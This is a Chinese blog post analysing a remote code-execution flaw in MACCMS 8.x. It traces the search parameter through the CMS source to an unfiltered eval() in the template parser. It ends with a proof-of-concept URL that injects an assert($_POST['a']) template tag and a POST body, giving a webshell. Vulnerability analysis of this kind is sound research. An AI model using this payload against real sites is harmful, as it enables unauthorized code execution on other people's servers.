MACCMS 8.x 任意代码执行漏洞分析

释放双眼,带上耳机,听听看~!
MACCMS8.x任意命令执行漏洞环境          WEB应用:MACCMS8.0        &nb

MACCMS 8.x 任意命令执行漏洞

  • 环境

            WEB应用:MACCMS 8.0

            中间件:    phpStudy

            PHP版本:5.2.17

  • 目录结构

        1500986118(1).jpg

  • 审计

    首先注释 maccms8_mfb/inc/module/vod.php 第97行:

    1500986507(1).jpg

elseif($method=='search')
{
	$tpl->C["siteaid"] = 15;
	$wd = trim(be("all", "wd")); 
	//$wd = chkSql($wd);
	if(!empty($wd)){ $tpl->P["wd"] = $wd; }
	
	//if(empty($tpl->P["wd"]) && empty($tpl->P["ids"]) && empty($tpl->P["pinyin"]) && empty($tpl->P["starring"]) && empty($tpl->P["directed"]) && empty($tpl->P["area"]) && empty($tpl->P["lang"]) && empty($tpl->P["year"]) && empty($tpl->P["letter"]) && empty($tpl->P["tag"]) && empty($tpl->P["type"]) && empty($tpl->P["typeid"]) && empty($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }
	
	if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){ 
		showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
		exit;
	}

      image.png

      再注释index.php文件的360_safe3.php拦截脚本

if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
    define('MAC_MODULE','home');
    require('inc/conn.php');
    //require(MAC_ROOT.'/inc/common/360_safe3.php');
    $m = be('get','m');
    if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
    $par = explode('-',$m);
    $parlen = count($par);
    $ac = $par[0];

在/inc/module/vod.php 第93行~198行。

elseif($method=='search')
{
	$tpl->C["siteaid"] = 15;
	$wd = trim(be("all", "wd")); 
//$wd = chkSql($wd); //----去除去除过滤函数
	if(!empty($wd)){ $tpl->P["wd"] = $wd; }
	
	//if(empty($tpl->P["wd"]) && empty($tpl->P["ids"]) && empty($tpl->P["pinyin"]) && empty($tpl->P["starring"]) && empty($tpl->P["directed"]) && empty($tpl->P["area"]) && empty($tpl->P["lang"]) && empty($tpl->P["year"]) && empty($tpl->P["letter"]) && empty($tpl->P["tag"]) && empty($tpl->P["type"]) && empty($tpl->P["typeid"]) && empty($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }
	
	if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){ 
		showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
		exit;
	}
	
	
    $tpl->P['cp'] = 'vodsearch';
	$tpl->P['cn'] = urlencode($tpl->P['wd']).'-'.$tpl->P['pg'].'-'.$tpl->P['order'].'-'.$tpl->P['by'].'-'.$tpl->P['ids']. '-'.$tpl->P['pinyin']. '-'.$tpl->P['type'].  '-'.$tpl->P['year']. '-'.$tpl->P['letter'].'-'.$tpl->P['typeid'].'-'.$tpl->P['classid'].'-'.urlencode($tpl->P['area']) .'-'.urlencode($tpl->P['lang'])  .'-'.urlencode($tpl->P['tag']) .'-'.urlencode($tpl->P['starring']) .'-'.urlencode($tpl->P['directed']) ;
	echoPageCache($tpl->P['cp'],$tpl->P['cn']);
	$tpl->P["where"]='';
	$tpl->P["des"]='';
	
	$db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']);
	foreach($tpl->P as $k=>$v){
		if(!is_numeric($v)){
			$tpl->P[$k] = mysql_real_escape_string($v);
		}
	}
	
	if (!empty($tpl->P["year"])){
		$tpl->P["key"]=$tpl->P["year"];
		$tpl->P["des"] = $tpl->P["des"] ."&nbsp;上映年份为".$tpl->P["year"];
	}
    if (!empty($tpl->P["letter"])){
    	$tpl->P["key"]=$tpl->P["letter"];
    	$tpl->P["des"] = $tpl->P["des"] . "&nbsp;首字母为" . $tpl->P["letter"];
    }
    if(!empty($tpl->P["area"])){
    	$tpl->P["key"]=$tpl->P["area"];
    	$tpl->P["des"] = $tpl->P["des"] . "&nbsp;地区为" . $tpl->P["area"];
    }
    if (!empty($tpl->P["lang"])){
    	$tpl->P["key"]=$tpl->P["lang"];
    	$tpl->P["des"] = $tpl->P["des"] . "&nbsp;语言为" . $tpl->P["lang"];
    }
    
    if($tpl->P["wd"]=='{wd}'){ $tpl->P["wd"]=''; }
    if (!empty($tpl->P["wd"])) {
    	$tpl->P["key"]=$tpl->P["wd"] ;
    	$tpl->P["des"] = $tpl->P["des"] . "&nbsp;名称或主演为" . $tpl->P["wd"];
    }
    
    if (!empty($tpl->P["pinyin"])){
    	$tpl->P["key"]=$tpl->P["pinyin"] ;
    	$tpl->P["des"] = $tpl->P["des"] . "&nbsp;拼音为" . $tpl->P["pinyin"];
    }
	    
	if (!empty($tpl->P["starring"])){
		$tpl->P["key"]=$tpl->P["starring"] ;
		$tpl->P["des"] = $tpl->P["des"] . "&nbsp;主演为" . $tpl->P["starring"];
	}
	
	if (!empty($tpl->P["directed"])){
		$tpl->P["key"]=$tpl->P["directed"] ;
		$tpl->P["des"] = $tpl->P["des"] . "&nbsp;导演为" . $tpl->P["directed"];
	}
    
    if (!empty($tpl->P["tag"])){
		$tpl->P["key"]=$tpl->P["tag"] ;
		$tpl->P["des"] = $tpl->P["des"] . "&nbsp;Tag为" . $tpl->P["tag"];
	}
	
    $tpl->P['typepid'] = 0;
	if(!empty($tpl->P["typeid"])){
		$typearr = $MAC_CACHE['vodtype'][$tpl->P['typeid']];
		if (is_array($typearr)){
			$tpl->P['typepid'] = $typearr['t_pid'];
			if (empty($tpl->P["key"])){ $tpl->P["key"]= $typearr["t_name"];  }
			$tpl->P["des"] = $tpl->P["des"] . "&nbsp;分类为" . $typearr["t_name"];
		}
		unset($typearr);
	}
	if(!empty($tpl->P["classid"])){
		$classarr = $MAC_CACHE['vodclass'][$tpl->P['classid']];
		if (is_array($classarr)){
			if (empty($tpl->P["key"])){ $tpl->P["key"]= $classarr["c_name"];  }
			$tpl->P["des"] = $tpl->P["des"] . "&nbsp;剧情分类为" . $classarr["c_name"];
		}
		unset($classarr);
	}
	if(!empty($tpl->P["ids"])){
		$arr = explode(',',$tpl->P["ids"]);
		for($i=0;$i<count($arr);$i++){
			$arr[$i] = intval($arr[$i]);
		}
		$tpl->P["ids"] = join(',',$arr);
	}
	
	$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");//----加载模板
	$tpl->mark();//----将模板关键字进行替换
	$tpl->pageshow();//----将模板关键字进行替换
	
	$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
	$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']  );
	//----关键点是在 $valarr 变量  $colarr 的 {page:wd} 被 $tpl->P["wd"] 的值替换,而 $tpl->P["wd"] 就是我们 传入poc的值 {if-A:assert($_POST['a'])}{endif-A}
	$tpl->H = str_replace($colarr, $valarr ,$tpl->H); //----接着再次直接写入模板文件
    unset($colarr,$valarr);//销毁变量的值

跟踪mark(),mark() 和pagesho()两个方法都在maccms8_mf/inc/common/template.php 这个php文件内,都是对模板进行替换,就不展示代码了。回到index.php文件。

<?php
	/*
	'软件名称:苹果CMS
	'开发作者:MagicBlack    官方网站:http://www.maccms.com/
	'--------------------------------------------------------
	'适用本程序需遵循 CC BY-ND 许可协议
	'这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和使用;
	'不允许对程序代码以任何形式任何目的的再发布。
	'--------------------------------------------------------
	*/
	if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
	define('MAC_MODULE','home');
	require('inc/conn.php');
	//require(MAC_ROOT.'/inc/common/360_safe3.php');
    $m = be('get','m');//----获取到请求的 vod-search
    if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
    $par = explode('-',$m);//----进行 - 的分割
    $parlen = count($par);
    $ac = $par[0];//----将分割得到的 vod 传给 $ac
    
    if(empty($ac)){ $ac='vod'; $method='index'; }
    
    $colnum = array('id','pg','year','typeid','class','classid','src','num','aid','vid');
    if($parlen>=2){
    	$method = $par[1];
    	 for($i=2;$i<$parlen;$i+=2){
            $tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : chkSql(urldecode($par[$i+1]));
        }
    }
    if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
    if(!empty($tpl->P['cp'])){ $tpl->P['cp']=''; }
    unset($colnum);
    $tpl->initData();
    $acs = array('vod','art','map','user','gbook','comment','label');
    if(in_array($ac,$acs)){//----这里取到 vod 这个值
    	$tpl->P['module'] = $ac;
    	include MAC_ROOT.'/inc/module/'.$ac.'.php';//----然后加载这个模块
    }
    else{
    	showErr('System','未找到指定系统模块');
    }
    unset($par);
    unset($acs);
    $tpl->ifex();//----这里是重点 将程序自写的 if标签进行解析 跟进看看下
    if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
	$tpl->run();
	echo $tpl->H;//----输出首页
?>

在maccms8_mf/inc/common/template.php文件里面可以看到 ifex() 方法,第974行~1035行。

 function ifex()
    {
        if (!strpos(",".$this->H,"{if-")) { return; }//----判断是否是{if- 开头 不是则返回
		$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
		preg_match_all($labelRule,$this->H,$iar);
		
		$arlen=count($iar[2]);
		
		for($m=0;$m<$arlen;$m++){
			$strn = $iar[1][$m];//----这里取到的是第一个正则的东西 我的测试数据就是A
			$strif= asp2phpif( $iar[2][$m] ) ;//----这里是取到第二个正则的东西 就是 phpinfo()
			$strThen= $iar[3][$m];//----这里是取到第三个正则。
			$elseifFlag=false;
			
			$labelRule2="{elseif-".$strn."";
			$labelRule3="{else-".$strn."}";
			
			if (strpos(",".$strThen,$labelRule2)>0){//----由于条件不满足 因为前面没有,号。所以跳到了else分支
				$elseifArray=explode($labelRule2,$strThen);
				$elseifArrayLen=count($elseifArray);
				$elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
				$resultStr=$elseifSubArray[1];
				@eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
				if(!$elseifFlag){
					for($elseifLen=1;$elseifLen<$elseifArrayLen-1;$elseifLen++){
						$strElseif=getSubStrByFromAndEnd($elseifArray[$elseifLen],":","}","");
						$strElseif=asp2phpif($strElseif);
						$strElseifThen=getSubStrByFromAndEnd($elseifArray[$elseifLen],"}","","start");
						$strElseifThen=str_replace("'","\'",$strElseifThen);
						@eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
						if ($elseifFlag) {break;}
					}
				}
				if(!$elseifFlag){
					$strElseif0=getSubStrByFromAndEnd($elseifSubArray[0],":","}","");
					$strElseif0=asp2phpif($strElseif0);
					$strElseifThen0=getSubStrByFromAndEnd($elseifSubArray[0],"}","","start");
					$strElseifThen0=str_replace("'","\'",$strElseifThen0);
					@eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
				}
				$this->H=str_replace($iar[0][$m],$resultStr,$this->H);
			}
			else{
				$ifFlag = false;
				if (strpos(",".$strThen,$labelRule3)>0){//----由于这里还是不满足 所以继续跳到else分支
					$elsearray=explode($labelRule3,$strThen);
					$strThen1=$elsearray[0];
					$strElse1=$elsearray[1];
					@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
					if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}
				}
				else{
					@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
					//----这里是重点了 $strif 是我们传入的 phpinfo 从上面的分析来看 完全没有任何过滤就代入了这个php语句
					if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
				 }
			}
		}
		unset($elsearray);
		unset($elseifArray);
		unset($iar);
		if (strpos(",".$this->H,"{if-")) { $this->ifex(); }
    }

最终这里执行的结果是这样的:

image.png

  • GETSHELL

     poc

        http://192.168.1.111/maccms8_mfb/index.php?m=vod-search&wd={if-A:assert($_POST['a'])}{endif-A}

     POST:

  wd=phpinfo()

image.pngimage.png

给TA买糖
共{{data.count}}人
人已赞赏
Web安全

【漏洞预警】GitLab未授权访问漏洞可导致远程命令执行

2016-11-4 3:10:05

Web安全

Java反序列化漏洞复现分析

2017-7-26 2:17:39

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索